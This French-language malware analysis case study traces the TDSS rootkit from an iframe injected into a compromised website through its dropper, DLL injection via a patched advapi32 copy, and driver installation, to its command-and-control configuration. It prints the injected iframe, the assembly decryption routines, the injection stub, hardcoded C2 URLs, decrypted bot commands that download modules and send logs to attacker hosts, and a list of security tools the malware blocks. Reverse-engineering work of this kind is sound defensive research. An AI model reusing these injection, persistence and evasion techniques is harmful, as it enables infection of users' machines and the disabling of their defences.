Etude de cas - Infection rootkit TDSS
Compromission d'un site internet légitime à forte affluence.
Type: Injection de la page d'accueil après la balise </HTML>.
Avant de commencer quelques définitions.

[!] LE SITE EST TOUJOURS COMPROMIS / WEBSITE IS ALWAYS COMPROMISED [!]
style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
<iframe src="http://qwehost.com/count.php?o=2" width=0 height=0
style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
Historique des premières requêtes effectuées par le navigateur:
Méthode: GET
URL: /mito/?t=2
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjp
Referer: http://www.nwiizone.com/
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0)
Hôte: edcomparison.com
Connection: Keep-Alive
Réponse: 302
Server: Apache/2
Location: http://202.73.57.6/mito/?t=2
Content-Length: 275
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Puis 3 requêtes consécutives qui ne sont valides que pour une visite/session (traçage IP).:
URL: /mito/?fixed_length_73_hexadecimal_characters
URL: /mito/?fixed_length_73_hexadecimal_characters
URL: /mito/?fixed_length_73_hexadecimal_characters
Vous rencontrez une première page offusquée qui semble être importante vu la taille occupé par le code. Une technique simple afin de dé-offusquer le code javascript va consister à remplacer la fonction eval(A); Dans ce cas précis, un document.write(A); va permettre d'afficher le code en clair directement sur la page du navigateur. Il existe des outils spécifiques pour ces opérations, on pourrait par exemple citer Malzilla codé par notre ami Bobby. Petite parenthèse pour vous présenter le projet MINA qui nécessite les outils de debboguage de Microsoft ; un outil qui peut s'avérer intéressant ; fin de parenthèse.
Une fois le javascript lisible, le mot RSA
devrait suffir pour que vous constatiez que nous sommes en présence
d'éléments de crypto. Nous n'allons pas rentrer dans les détails mais concrètement la variable 'nextkey' de ce script sera utilisée dans les pages à venir afin de décrypter grâce à une fonction de décryptage RC4 les variables nommées 'k' qui représentent des blocs de données qui sont quant à eux encodés en Base64.
La dernière requête télécharge un fichier flash. Si vous souhaitez analyser n'importe quel fichier flash, vous devrez généralement utiliser des outils. Dans cette étude de cas l'outil utilisé à été flasm linux (pour Windows) ; La commande -x vous permettra de décompresser le SWF ensuite vous pouvez soit désassembler à l'aide de la commande -d ou bien utiliser d'autres outils. A noter que pour ceux qui n'y arriveraient pas, rien ne vous empêche d'utiliser un service en ligne d'analyse de fichiers flash. Une fois désassemblé, nous obtenons l'adresse de téléchargement de la charge utile (payload) qui est: http://202.73.57.6/mito/?h=2e
Enfin, une requête contenant le champs d'en-tête 'Referer' sera envoyée aux pirates (QWEHOST.COM) leur indiquant que "le cycle d'infection" s'est terminé avec succès.
##>Le dropper
Premier constat, il ne fonctionne pas sur ThreatExpert ; c'est probablement dû au packer. Il
est important de s'attarder quelques instants sur ce point car nous
allons le retrouver sous des formes diverses à peu près sur tous les
fichiers.
Support vidéo: [ How to unpack the binary ]
Précision: VirtualAlloc réserve une région dans l'espace d'adressage du processus appelant. En audio, il est dit: "VirtualAlloc sert à allouer du code", c'est vis à vis du contexte. Vidéo enregistrée le lendemain du 1 janvier, soyez indulgent :]=~
##> Procédure de générations des noms de fichiers temporaires.
Dans un premier temps, kernel32.GetTempPathA est utilisé pour obtenir %tmp%
La chaîne de caractères "TDSS" sera utilisée à chaque nouveaux noms de fichiers.
La fonction kernel32.GetTickCount sera utilisée pour générer un chiffre aléatoire.
Le formatage du nom de fichier est "%s%s%x.tmp", il s'agit d'une concaténation.
Une fois généré, la fonction kernel32.GetFileAttributes vérifie si le fichier existe déjà.
Si le fichier n'existe pas, il est alors créé avec la fonction kernel32.CreateFileA
[!] Le repérage des fonctions est utile dans vos analyses.
Grâce à la documentation MSDN appropriée, il est possible de recréer "a peu près" le code.
##> Procédure de décryptage de section.
1. Récupère l'e_lfanew du DOS Header
MOVZX ECX,WORD PTR DS:[EAX+14]
2. Lecture du nom de la section.
LEA EDX,DWORD PTR DS:[ECX+EAX+18]
3. Récupère SizeOfOptionalHeader du File Header
MOVZX EAX,WORD PTR DS:[EAX+6]
4. Parcours de toutes les sections à la recherche de celle nommée ".tdl"
Une fois trouvé, extrait ses caractéristiques.
L'offset -> le registre ESI prends pour valeur 0x4000
La taille -> le registre EAX prends pour valeur 0x19000
Enfin, ajoute l'ImageBase sur la valeur du registre ESI soit 0x404000 (RVA).
Puis appel la routine de décryptage (offset: 0x004011A5).
CMP DWORD PTR SS:[ESP+4],ECX
JBE @FIN
@DECRYPT:
MOV DL,CL
ADD DL,54
XOR BYTE PTR DS:[ECX+EAX],DL
INC ECX
CMP ECX,DWORD PTR SS:[ESP+4]
JB @DECRYPT
@FIN:
RET 4
Pour simplifier, ça vous donne un decrypt(byte^0x54+cpt)
Exemple:
0x19^0x54=0x4D
0x0F^(0x54+1)=0x5A
etc...
00404010 DC 65 66 67 68 69 6A 6B 2C 6D 6E 6F 70 71 72 73 .efghijk,mnopqrs
00404020 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F 80 81 82 83 tuvwxyz{|}~.....
00404010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
00404020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Vérifie la présence des 4 sections du PE décrypté (00401290)
Le contenu de ".tdl" décrypté est écrit dans le fichier avec kernel32.WriteFile
##> Utilisation (non détaillée) de ntdll.ZwCreateSection
##> Copie d'advapi32.dll
Réalise une copie de "%windir%\system32\advapi32.dll" en "%tmp%\TDSS%s.tmp"
##> Utilisation (non détaillée) de ntdll.ZwCreateEvent ("\TDKD")
##> L'injection
La copie de librairie "advapi32.dll" est patchée.
Les 21 bytes suivants sont alors injectés à l'OEP:
77DA70D9: E800000000 CALL 77DA70DE
77DA70DE: 832C240A SUB [ESP], 0000000A
77DA70E2: B8771D807C MOV EAX, 7C801D77
77DA70E7: FFE0 JMP EAX
Chargera "dll.dll", qui au final, correspond à notre section ".tdl" décryptée.
##> Service "MSIServer" via les API d'advapi32.
- OpenSCManagerA
- OpenServiceA
- ControlService
- StartServiceA
Lance le service "MSIServer" qui correspond à "Windows Installer"
L'exécution du processus "msiexec.exe" va entraîner le chargement d'advapi32.
L'utilisation du Flags "DONT_RESOLVE_DLL_REFERENCES" entraîne le chargement
de la mauvaise librairie, la précédemment patchée. ("\knowndlls\advapi32.dll")
Qui a son tour va, grâce à l'injection, charge "dll.dll" (qui en réalité, n'existe pas).

Une fois le processus en mémoire, le fichier patché dans %tmp% est effacé.
Quant au dropper source, son déplacement est forcé dans %tmp% puis effacé.
nb: La machine est à ce moment précis infectée et rootkitée.
Thread 4:616 F618EE57
---- Services - GMER 1.0.14 ----
Service system32\drivers\TDSSvoqm.sys (*** hidden *** ) [SYSTEM] TDSSserv.sys <-- ROOTKIT !!!
---- EOF - GMER 1.0.14 ----
##> Unpacking de la lib "dll.dll"
Trouver l'OEP n'est pas bien compliqué, toute la difficulté va être
de fixer la table des imports avant le déchargement en mémoire.
Offset: 0x10001571 PUSH EBP ; <--[OEP]
Dumper en vérifiant la présence de toutes les sections.
Reconstruction de la table avec la fonctionnalité "Pick DLL".
Sélection de "dll.dll" en mémoire + modification manuelle de l'OEP.
Get & Dump ; puis testez votre lib via votre dbg.
nb: Veillez à bien config les options de votre dbg au préalable.
[!] Nous avons un petit piège à déjouer si on ne souhaite pas être éjecté pendant l'analyse.
Il s'agit d'un ntdll._strcmpi qui vérifie que l'injection a bien été réalisée avec "msiexec.exe".
Et oui... nous sommes en cours de débogage donc nous avons le chargeur de librairies du déboguer.
Il faudra par conséquent feinter le TEST EAX, EAX au moment de la vérification.
##> Driver TDSSserv
La routine de décryptage de la section est la même.
La seule différence réside dans les premiers bytes.
Ils fournissent des informations sur la build.
10004010 3B 63 6C 69 63 6B 65 72 3B 2D 77 61 3B 00 4D 5A ;clicker;-wa;.MZ
La chaîne "62;v300;standart;clicker;-wa;" est alors scindée.
Le filtre utilisé étant: "%[^;];%[^;];%[^;];%[^;];"
Ces infos seront écrites dans la base de registre:
versions
"build"="standart"
"type"="clicker"
"affid"="62"
"subid"="v300"
"serversdown"=dword:00000001
"affid"="62"
"subid"="v300"
Le driver est ensuite créé puis écrit à l'emplacement:
"\\?\globalroot\systemroot\system32\drivers\TDSSserv.sys"
A cet instant, pour résumer, le service est créé.
* [ntdll.RtlCreateRegistryKey] (non détaillée)
* [ntdll.RtlWriteRegistryValue] (non détaillée)
"imagepath"="\systemroot\system32\drivers\TDSSserv.sys"
"start"=dword:00000001
"type"=dword:00000001
* [ntdll.RtlCreateRegistryKey] (non détaillée)
"Service"="TDSSserv.sys"
"Legacy"=dword:00000001
"ConfigFlags"=dword:00000000
"Class"="LegacyDriver"
"ClassGUID"="{8ECC055D-047F-11D1-A537-0000F8753ED1}"
"DeviceDesc"="TDSSserv.sys"
"Capabilities"=dword:00000000
Et enfin, (RtlAdjustPrivilege+NtLoadDriver) le driver est chargé.
##> La librairie droppée par le driver dans "%windir%\system32\"
Comme à chaque fois, la librairie est encore packée.
La bibliothèque principale se nomme initialement: "tdll.dll"
Voici ses fonctions:
--> 0x0001 0x00002541 "CheckValue"
--> 0x0002 0x00003176 "CmdExec"
--> 0x0003 0x00003711 "CmdExecAffID"
--> 0x0004 0x000037E0 "CmdExecBotID"
--> 0x0005 0x0000379B "CmdExecBuild"
--> 0x0006 0x000036CC "CmdExecSubID"
--> 0x0007 0x00003756 "CmdExecType"
--> 0x0008 0x0000359F "CmdExecVersion"
--> 0x0009 0x000024A5 "CopyAffID"
--> 0x000A 0x00002462 "CopySubID"
--> 0x000B 0x00002713 "CryptKeySet"
--> 0x000C 0x000030BA "FileDownload"
--> 0x000D 0x00003121 "FileDownloadRandom"
--> 0x000E 0x000030CF "FileDownloadRandomUnxor"
--> 0x000F 0x00003094 "FileDownloadUnxor"
--> 0x0010 0x0000291E "ImpersonateAsInput"
--> 0x0011 0x00002CC6 "Knock"
--> 0x0012 0x00003030 "ModuleDownload"
--> 0x0013 0x00002FBF "ModuleDownloadUnxor"
--> 0x0014 0x00002AA9 "ModuleLoad"
--> 0x0015 0x00002A43 "ModuleUnload"
--> 0x0016 0x00003165 "ModulesVersionLog"
--> 0x0017 0x00002601 "SetCmdDelay"
--> 0x0018 0x000024E8 "SetInputDesktop"
--> 0x0019 0x00002884 "SetLoadedURL"
--> 0x001A 0x00002750 "SetTimeout"
Les urls sont harcodées et sélectionnées aléatoirement.
Liste des urls disponibles pour le fichier "main" crypté:
-> "http://stableclickz1.com/tdss2/crcmds/main"
-> "http://updatemics1.com/tdss2/crcmds/main"
-> "http://findsproportal1.com/tdss2/crcmds/main"
-> "http://findzproportal1.com/tdss2/crcmds/main"
-> "http://91.203.92.121/tdss2/crcmds/main"
-> "http://younewsblog.net/tdss/crcmds/main"
-> "http://yournewsblog.net/tdss/crcmds/main"
-> "http://yourblognews.net/tdss/crcmds/main"
-> "http://youblognews.net/tdss/crcmds/main"
-> "http://web1inst.com/tdss/crcmds/main"
-> "http://web2inst.com/tdss/crcmds/main"
-> "http://web3inst.com/tdss/crcmds/main"
-> "http://web4inst.com/tdss/crcmds/main"
Ci-dessous, la routine de décryptage:
CMP DWORD PTR SS:[ESP+4],ECX
JBE @FIN
@DECRYPT:
MOV DL,CL
ADD DL,BYTE PTR SS:[ESP+8]
XOR BYTE PTR DS:[ECX+EAX],DL
INC ECX
CMP ECX,DWORD PTR SS:[ESP+4]
JB @DECRYPT
@FIN:
RET 8
[!] Il est important de savoir placer des points d'arrêts stratégiques.
BPX sur RET à l'offset 0x10001407 permet d'obtenir chaque fichier temporaire decrypté.
BPX sur CALL [ARG.4] en 0x100016E4 permet d'intercepter toutes les fonctions de la lib.
Pendant l'analyse, il y a eu plusieurs versions du "main".
Ce fichier "main" une fois téléchargé puis décrypté contient des ordres.
003A0010 61 64 52 61 6E 64 6F 6D 28 22 68 74 74 70 3A 2F adRandom("http:/
003A0020 2F 79 6F 75 72 6E 65 77 73 62 6C 6F 67 2E 6E 65 /yournewsblog.ne
003A0030 74 2F 74 64 73 73 2F 74 64 73 73 73 65 72 76 65 t/tdss/tdssserve
003A0040 72 73 63 72 2E 64 61 74 22 2C 22 5C 5C 3F 5C 67 rscr.dat","\\?\g
003A0050 6C 6F 62 61 6C 72 6F 6F 74 5C 73 79 73 74 65 6D lobalroot\system
003A0060 72 6F 6F 74 5C 73 79 73 74 65 6D 33 32 5C 74 64 root\system32\td
003A0070 73 73 73 65 72 76 65 72 73 2E 64 61 74 22 29 0D ssservers.dat").
003A0080 0A 74 64 73 73 6C 2E 43 6D 64 45 78 65 63 28 22 .tdssl.CmdExec("
003A0090 68 74 74 70 3A 2F 2F 79 6F 75 72 6E 65 77 73 62 http://yournewsb
003A00A0 6C 6F 67 2E 6E 65 74 2F 74 64 73 73 2F 63 72 63 log.net/tdss/crc
003A00B0 6D 64 73 2F 75 70 64 61 74 65 22 29 0D 0A 74 64 mds/update")..td
003A00C0 73 73 6D 61 69 6E 2E 43 6F 6E 6E 65 63 74 69 6F ssmain.Connectio
003A00D0 6E 48 69 64 64 65 6E 41 64 64 28 22 79 6F 75 72 nHiddenAdd("your
003A00E0 6E 65 77 73 62 6C 6F 67 2E 6E 65 74 22 29 0D 0A newsblog.net")..
003A00F0 74 64 73 73 6D 61 69 6E 2E 49 6E 6A 65 63 74 6F tdssmain.Injecto
003A0100 72 41 64 64 28 22 2A 22 2C 22 74 64 73 73 61 64 rAdd("*","tdssad
003A0110 77 22 29 0D 0A 74 64 73 73 6C 2E 43 6D 64 45 78 w")..tdssl.CmdEx
003A0120 65 63 42 75 69 6C 64 28 22 68 74 74 70 3A 2F 2F ecBuild("http://
003A0130 79 6F 75 72 6E 65 77 73 62 6C 6F 67 2E 6E 65 74 yournewsblog.net
003A0140 2F 74 64 73 73 2F 63 72 63 6D 64 73 2F 62 75 69 /tdss/crcmds/bui
003A0150 6C 64 73 22 29 0D 0A 74 64 73 73 6C 2E 43 6D 64 lds")..tdssl.Cmd
003A0160 45 78 65 63 54 79 70 65 28 22 68 74 74 70 3A 2F ExecType("http:/
003A0170 2F 79 6F 75 72 6E 65 77 73 62 6C 6F 67 2E 6E 65 /yournewsblog.ne
003A0180 74 2F 74 64 73 73 2F 63 72 63 6D 64 73 2F 74 79 t/tdss/crcmds/ty
003A0190 70 65 73 22 29 0D 0A 74 64 73 73 6C 2E 43 6D 64 pes")..tdssl.Cmd
003A01A0 45 78 65 63 41 66 66 49 44 28 22 68 74 74 70 3A ExecAffID("http:
003A01B0 2F 2F 79 6F 75 72 6E 65 77 73 62 6C 6F 67 2E 6E //yournewsblog.n
003A01C0 65 74 2F 74 64 73 73 2F 63 72 63 6D 64 73 2F 61 et/tdss/crcmds/a
003A01D0 66 66 69 64 73 22 29 0D 0A 74 64 73 73 6C 2E 43 ffids")..tdssl.C
003A01E0 6D 64 45 78 65 63 53 75 62 49 44 28 22 68 74 74 mdExecSubID("htt
003A01F0 70 3A 2F 2F 79 6F 75 72 6E 65 77 73 62 6C 6F 67 p://yournewsblog
003A0200 2E 6E 65 74 2F 74 64 73 73 2F 63 72 63 6D 64 73 .net/tdss/crcmds
003A0210 2F 73 75 62 69 64 73 22 29 00 00 00 00 00 00 00 /subids").......
Les ordres sont séparés par le filtre: "%[^.].%[^(](%[^)])"
Exemples:
Ordre: "FileDownloadRandom"
Cible: "http://yournewsblog.net/tdss/tdssserverscr.dat"
Autre exemple avec "tdssserverscr.dat" décrypté.
-------------------------------------------------
tdssl.CmdExecVersion("http://yourblognews.net/tdss/crcmds/init","2.2")
tdssl.ModuleLoad("tdssadw")
#tdssl.ModuleLoad("tdssserf")
#tdssl.ModuleLoad("tdssserf1")
tdssl.ModuleLoad("tdsspopup")
tdll.CheckValue("\registry\machine\software\microsoft\windows nt\currentversion\tdssdata","subid")
tdll.CheckValue("\registry\machine\software\microsoft\windows nt\currentversion\tdssdata","affid")
tdsslog.LogSendEx("tdsserrors.log","http://findzproportal1.com/botmon/readdata/error/")
tdssmain.ProcessList()
tdsslog.LogSendEx("tdssproc.log","http://findzproportal1.com/botmon/readdata/proc/")
tdsslog.LogSendEx("tdssurls.log","http://findzproportal1.com/botmon/readdata/urls/")
tdsslog.LogOS("http://findzproportal1.com/botmon/readdata/bot/")
tdssmain.DisallowedAdd("trsetup.exe")
tdssmain.DisallowedAdd("ViewpointService.exe")
tdssmain.DisallowedAdd("ViewMgr.exe")
tdssmain.DisallowedAdd("SpySweeper.exe")
tdssmain.DisallowedAdd("SUPERAntiSpyware.exe")
tdssmain.DisallowedAdd("SpySub.exe")
tdssmain.DisallowedAdd("SpywareTerminatorShield.exe")
tdssmain.DisallowedAdd("SpyHunter3.exe")
tdssmain.DisallowedAdd("XoftSpy.exe")
tdssmain.DisallowedAdd("SpyEraser.exe")
tdssmain.DisallowedAdd("SPYSWEEPER.exe")
tdssmain.DisallowedAdd("combofix.exe")
tdssmain.DisallowedAdd("otscanit.exe")
tdssmain.DisallowedAdd("mbam.exe")
tdssmain.DisallowedAdd("mbam-setup.exe")
tdssmain.DisallowedAdd("flash_disinfector.exe")
tdssmain.DisallowedAdd("otmoveit2.exe")
tdssmain.DisallowedAdd("smitfraudfix.exe")
tdssmain.DisallowedAdd("prevxcsifree.exe")
tdssmain.DisallowedAdd("download_mbam-setup.exe")
tdssmain.DisallowedAdd("cbo_setup.exe")
tdssmain.DisallowedAdd("spywareblastersetup.exe")
tdssmain.DisallowedAdd("rminstall.exe")
tdssmain.DisallowedAdd("sdsetup.exe")
tdssmain.DisallowedAdd("vundofixsvc.exe")
tdssmain.DisallowedAdd("daft.exe")
tdssmain.DisallowedAdd("gmer.exe")
tdssmain.DisallowedAdd("catchme.exe")
tdssmain.DisallowedAdd("mcpr.exe")
tdssmain.DisallowedAdd("sdfix.exe")
tdssmain.DisallowedAdd("hjtinstall.exe")
tdssmain.DisallowedAdd("fixpolicies.exe")
tdssmain.DisallowedAdd("emergencyutil.exe")
tdssmain.DisallowedAdd("techweb.exe")
tdssmain.DisallowedAdd("emergencyutil.exe")
tdssmain.DisallowedAdd("GoogleUpdate.exe")
tdssmain.DisallowedAdd("windowsdefender.exe")
tdssmain.DisallowedAdd("spybotsd.exe")
L'avantage pour les pirates, c'est qu'ils ont un contrôl plutôt correct des machines.
Si un programme devient gênant, il pourra être interdit dans la prochaine config.
Voici d'autres exemples de configurations.
tdssl.CmdExec("http://web3inst.com/tdss/crcmds/update")
tdssmain.ConnectionHiddenAdd("web3inst.com")
tdssmain.InjectorAdd("*","tdssadw")
tdssl.CmdExecBuild("http://web3inst.com/tdss/crcmds/builds")
tdssl.CmdExecType("http://web3inst.com/tdss/crcmds/types")
tdssl.CmdExecAffID("http://web3inst.com/tdss/crcmds/affids")
tdssl.CmdExecSubID("http://web3inst.com/tdss/crcmds/subids")
Et enfin, télécharge les autres bibliothèques TDSS*.dll
tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssl","\\?\globalroot\systemroot\system32\tdssl.dll")
tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssmain","\\?\globalroot\systemroot\system32\tdssmain.dll")
tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdsslog","\\?\globalroot\systemroot\system32\tdsslog.dll")
tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssadw","\\?\globalroot\systemroot\system32\tdssadw.dll")
#tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssserf","\\?\globalroot\systemroot\system32\tdssserf.dll")
#tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssserf1","\\?\globalroot\systemroot\system32\tdssserf1.dll")
Récapitulatif simplifié de la méthodologie.
-> Le dropper "mito.exe":
--> Créer des fichiers "%tmp%\TDSS*.*"
--> Décrypte la librairie ("%tmp%\dll.dll")
--> Réalise une copie de "%windir%\system32\advapi32.dll" dans %tmp%
--> Patch la copie d'advapi32.dll puis lance le service "MSIServer"
--> Entraîne le passage en mémoire de la copie patchée d'advapi32.dll
--> Qui a son tour entraîne le chargement de "%tmp%\dll.dll"
----> La librairie "dll.dll":
-----> Décrypte le drivers "%windir%\system32\drivers\TDSSserv.sys"
-----> Extrait & stock les infos "client" dans la base de registre.
-----> Créer le service "TDSSserv.sys" & charge le pilote.
--------> Le driver "TDSSserv.sys"":
---------> Les fonctionnalités de rootkit (non détaillées) sont actives:
---------> (Exemple: les fichiers TDSS* sont alors masqués, etc...)
---------> Dépose la librairie "tdll.dll" dans "%windir%\system32\"
-----------> La librairie "tdll.dll":
------------> Télécharge un fichier de config principal parmis des urls embarquées.
------------> Décrypte les fichiers téléchargés.
------------> Effectue tous les ordres indiqués.
Ci-dessous, la correspondance des librairies téléchargées:
[+] tdssadw.dll (Nom original: "adw_dll1.dll")
-- fonction: "Update"
[+] tdsslog.dll (Nom original: "tdllog.dll")
- Version: 1.0.0.126
-- fonction: "LogOS"
-- fonction: "LogSend"
-- fonction: "LogSendEx"
-- fonction: "Update"
[+] tdssmain.dll (Nom original: "tdlmain.dll")
- Version: 1.0.0.114
-- fonction: "ConnectionHiddenAdd"
-- fonction: "DisallowedAdd"
-- fonction: "Exec"
-- fonction: "InjectorAdd"
-- fonction: "ProcessKill"
-- fonction: "ProcessList"
-- fonction: "ProcessTrustedAdd"
-- fonction: "RegistryHiddenAdd"
-- fonction: "Update"
[+] tdssl.dll (Nom original: "tdll.dll")
- Version: 1.0.0.1080
-- fonction: "CheckValue"
-- fonction: "CmdExec"
-- fonction: "CmdExecAffID"
-- fonction: "CmdExecBotID"
-- fonction: "CmdExecBuild"
-- fonction: "CmdExecSubID"
-- fonction: "CmdExecType"
-- fonction: "CmdExecVersion"
-- fonction: "CopyAffID"
-- fonction: "CopySubID"
-- fonction: "CryptKeySet"
-- fonction: "FileDownload"
-- fonction: "FileDownloadRandom"
-- fonction: "FileDownloadRandomUnxor"
-- fonction: "FileDownloadUnxor"
-- fonction: "ImpersonateAsInput"
-- fonction: "Knock"
-- fonction: "ModuleDownload"
-- fonction: "ModuleDownloadUnxor"
-- fonction: "ModuleLoad"
-- fonction: "ModuleUnload"
-- fonction: "ModulesVersionLog"
-- fonction: "SetCmdDelay"
-- fonction: "SetInputDesktop"
-- fonction: "SetLoadedURL"
-- fonction: "SetTimeout"
Ce billet touche à sa fin, je pourrais pourtant continuer quelques temps sur le sujet mais mon objectif qui consistait à démystifier des points précis est terminé.
Liens connexes:Embassy of India in Spain Serving Malware ( January 27, 2009 - Dancho Danchev )
India's embassy in Spain victim of a malicious attack ( January 28, 2009 - Paul O Baccas )
Embassy Site Attack Reveals Other Compromised Sites ( January 29, 2009 - JM Hipolito )



